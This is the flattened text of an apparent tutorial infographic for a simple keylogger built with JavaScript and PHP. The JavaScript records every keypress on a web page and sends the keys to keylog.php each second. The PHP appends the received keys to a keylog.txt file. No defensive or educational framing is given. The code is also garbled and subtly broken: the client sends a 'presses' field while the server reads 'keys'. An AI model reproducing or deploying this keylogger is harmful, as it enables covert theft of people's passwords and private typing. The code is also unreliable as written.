PHP JS

SIMPLE KEYLOGGER WITH PHP JAVASCRIPT

HOLD KEYPRESSES IN ARRAY var cache = [];

JAVASCRIPT PART A

01

window.addEventListener("load", () => {   LISTEN TO KEYPRESSES   window.addEventListener("keydown",   (evt) => { cache.push(evt.key); });     SEND KEYPRESSES TO SERVER   window.setInterval(send, 1000); });

function send () { if (cache.length>0) {   CAPTURED KEYS DATA   var data = new FormData();    data.append("presses",    JSON.stringify(cache));   cache = [];

JAVASCRIPT PART B

02

  AJAX SEND   fetch("keylog.php", { method:"POST",    body:data }); }}

APPEND TO KEYLOG FILE $file = fopen('keylog.txt', 'a+'); WRITE KEYSTROKES $keys = json_decode($_POST['keys']); foreach ($keys as $k=>$v)   { fwrite($file, $v . PHP_EOL); } fclose($file);

PHP SAVE KEYSTROKES

03